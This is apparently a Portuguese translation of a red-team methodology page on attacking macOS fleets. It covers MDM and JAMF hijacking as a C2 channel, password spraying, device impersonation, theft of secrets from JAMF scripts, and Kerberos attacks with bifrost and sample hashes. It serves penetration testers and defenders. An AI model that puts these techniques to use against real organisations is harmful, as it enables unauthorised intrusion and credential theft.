macOS Red Teaming

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Abusando de MDMs

• JAMF Pro: jamf checkJSSConnection

• Kandji

Se você conseguir comprometer credenciais de administrador para acessar a plataforma de gerenciamento, você pode potencialmente comprometer todos os computadores distribuindo seu malware nas máquinas.

Para red teaming em ambientes MacOS, é altamente recomendável ter algum entendimento de como os MDMs funcionam:

macOS MDM

Usando MDM como um C2

Um MDM terá permissão para instalar, consultar ou remover perfis, instalar aplicativos, criar contas de administrador locais, definir senha de firmware, mudar a chave do FileVault...

Para executar seu próprio MDM, você precisa que seu CSR seja assinado por um fornecedor, o que você pode tentar obter com https://mdmcert.download/. E para executar seu próprio MDM para dispositivos Apple, você pode usar MicroMDM.

No entanto, para instalar um aplicativo em um dispositivo inscrito, você ainda precisa que ele seja assinado por uma conta de desenvolvedor... no entanto, após a inscrição no MDM, o dispositivo adiciona o certificado SSL do MDM como uma CA confiável, então agora você pode assinar qualquer coisa.

Para inscrever o dispositivo em um MDM, você precisa instalar um arquivo mobileconfig como root, que pode ser entregue via um arquivo pkg (você pode compactá-lo em zip e, quando baixado do safari, ele será descompactado).

Mythic agent Orthrus usa essa técnica.

Abusando do JAMF PRO

JAMF pode executar scripts personalizados (scripts desenvolvidos pelo sysadmin), payloads nativos (criação de conta local, definir senha EFI, monitoramento de arquivos/processos...) e MDM (configurações de dispositivo, certificados de dispositivo...).

Auto-inscrição do JAMF

Vá para uma página como https://<company-name>.jamfcloud.com/enroll/ para ver se eles têm auto-inscrição habilitada. Se tiver, pode pedir credenciais para acessar.

Você pode usar o script JamfSniper.py para realizar um ataque de password spraying.

Além disso, após encontrar credenciais adequadas, você pode ser capaz de forçar outros nomes de usuário com o próximo formulário:

Autenticação de Dispositivo JAMF

O binário jamf continha o segredo para abrir o keychain que, na época da descoberta, era compartilhado entre todos e era: jk23ucnq91jfu9aj. Além disso, o jamf persiste como um LaunchDaemon em /Library/LaunchAgents/com.jamf.management.agent.plist

Tomada de Controle do Dispositivo JAMF

A URL do JSS (Jamf Software Server) que jamf usará está localizada em /Library/Preferences/com.jamfsoftware.jamf.plist. Este arquivo basicamente contém a URL:

plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist

[...]
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]

Assim, um atacante poderia instalar um pacote malicioso (pkg) que substitui este arquivo ao ser instalado, configurando a URL para um listener Mythic C2 de um agente Typhon para agora poder abusar do JAMF como C2.

# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0

# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2

Impersonação do JAMF

Para impersonar a comunicação entre um dispositivo e o JMF, você precisa:

• O UUID do dispositivo: ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'

• O keychain do JAMF de: /Library/Application\ Support/Jamf/JAMF.keychain, que contém o certificado do dispositivo

Com essas informações, crie uma VM com o UUID de Hardware roubado e com o SIP desativado, coloque o keychain do JAMF, hook o agente Jamf e roube suas informações.

Roubo de segredos

a

Você também pode monitorar a localização /Library/Application Support/Jamf/tmp/ para os scripts personalizados que os administradores podem querer executar via Jamf, pois eles são colocados aqui, executados e removidos. Esses scripts podem conter credenciais.

No entanto, credenciais podem ser passadas para esses scripts como parâmetros, então você precisaria monitorar ps aux | grep -i jamf (sem nem mesmo ser root).

O script JamfExplorer.py pode escutar por novos arquivos sendo adicionados e novos argumentos de processo.

Acesso Remoto ao macOS

E também sobre os protocolos de rede "especiais" do MacOS:

macOS Network Services & Protocols

Active Directory

Em algumas ocasiões, você encontrará que o computador MacOS está conectado a um AD. Nesse cenário, você deve tentar enumerar o diretório ativo como está acostumado. Encontre alguma ajuda nas seguintes páginas:

389, 636, 3268, 3269 - Pentesting LDAPActive Directory Methodology88tcp/udp - Pentesting Kerberos

Alguma ferramenta local do MacOS que também pode ajudar é dscl:

dscl "/Active Directory/[Domain]/All Domains" ls /

Também existem algumas ferramentas preparadas para MacOS para enumerar automaticamente o AD e interagir com o kerberos:

• Machound: MacHound é uma extensão da ferramenta de auditoria Bloodhound que permite coletar e ingerir relacionamentos do Active Directory em hosts MacOS.

• Bifrost: Bifrost é um projeto em Objective-C projetado para interagir com as APIs Heimdal krb5 no macOS. O objetivo do projeto é permitir testes de segurança melhores em torno do Kerberos em dispositivos macOS usando APIs nativas, sem exigir nenhum outro framework ou pacotes no alvo.

• Orchard: Ferramenta JavaScript para Automação (JXA) para fazer enumeração do Active Directory.

Informações do Domínio

echo show com.apple.opendirectoryd.ActiveDirectory | scutil

Usuários

Os três tipos de usuários do MacOS são:

• Usuários Locais — Gerenciados pelo serviço local OpenDirectory, não estão conectados de nenhuma forma ao Active Directory.

• Usuários de Rede — Usuários voláteis do Active Directory que requerem uma conexão com o servidor DC para autenticação.

• Usuários Móveis — Usuários do Active Directory com um backup local para suas credenciais e arquivos.

As informações locais sobre usuários e grupos são armazenadas na pasta /var/db/dslocal/nodes/Default. Por exemplo, as informações sobre o usuário chamado mark estão armazenadas em /var/db/dslocal/nodes/Default/users/mark.plist e as informações sobre o grupo admin estão em /var/db/dslocal/nodes/Default/groups/admin.plist.

Além de usar as arestas HasSession e AdminTo, MacHound adiciona três novas arestas ao banco de dados Bloodhound:

• CanSSH - entidade permitida para SSH no host

• CanVNC - entidade permitida para VNC no host

• CanAE - entidade permitida para executar scripts AppleEvent no host

#User enumeration
dscl . ls /Users
dscl . read /Users/[username]
dscl "/Active Directory/TEST/All Domains" ls /Users
dscl "/Active Directory/TEST/All Domains" read /Users/[username]
dscacheutil -q user

#Computer enumeration
dscl "/Active Directory/TEST/All Domains" ls /Computers
dscl "/Active Directory/TEST/All Domains" read "/Computers/[compname]$"

#Group enumeration
dscl . ls /Groups
dscl . read "/Groups/[groupname]"
dscl "/Active Directory/TEST/All Domains" ls /Groups
dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"

#Domain Information
dsconfigad -show

Mais informações em https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/

Computer$ senha

Obtenha senhas usando:

bifrost --action askhash --username [name] --password [password] --domain [domain]

É possível acessar a senha Computer$ dentro do chaveiro do Sistema.

Over-Pass-The-Hash

Obtenha um TGT para um usuário e serviço específicos:

bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]

Uma vez que o TGT é coletado, é possível injetá-lo na sessão atual com:

bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local

Kerberoasting

bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]

Com os tickets de serviço obtidos, é possível tentar acessar compartilhamentos em outros computadores:

smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point

Acessando o Keychain

O Keychain provavelmente contém informações sensíveis que, se acessadas sem gerar um prompt, poderiam ajudar a avançar em um exercício de red team:

macOS Keychain

Serviços Externos

O Red Teaming no MacOS é diferente do Red Teaming regular no Windows, pois geralmente o MacOS está integrado com várias plataformas externas diretamente. Uma configuração comum do MacOS é acessar o computador usando credenciais sincronizadas do OneLogin e acessar vários serviços externos (como github, aws...) via OneLogin.

Técnicas Diversas de Red Team

Safari

Quando um arquivo é baixado no Safari, se for um arquivo "seguro", ele será aberto automaticamente. Então, por exemplo, se você baixar um zip, ele será automaticamente descompactado:

Referências

• https://www.youtube.com/watch?v=IiMladUbL6E

• https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6

• https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0

• Come to the Dark Side, We Have Apples: Turning macOS Management Evil

• OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall

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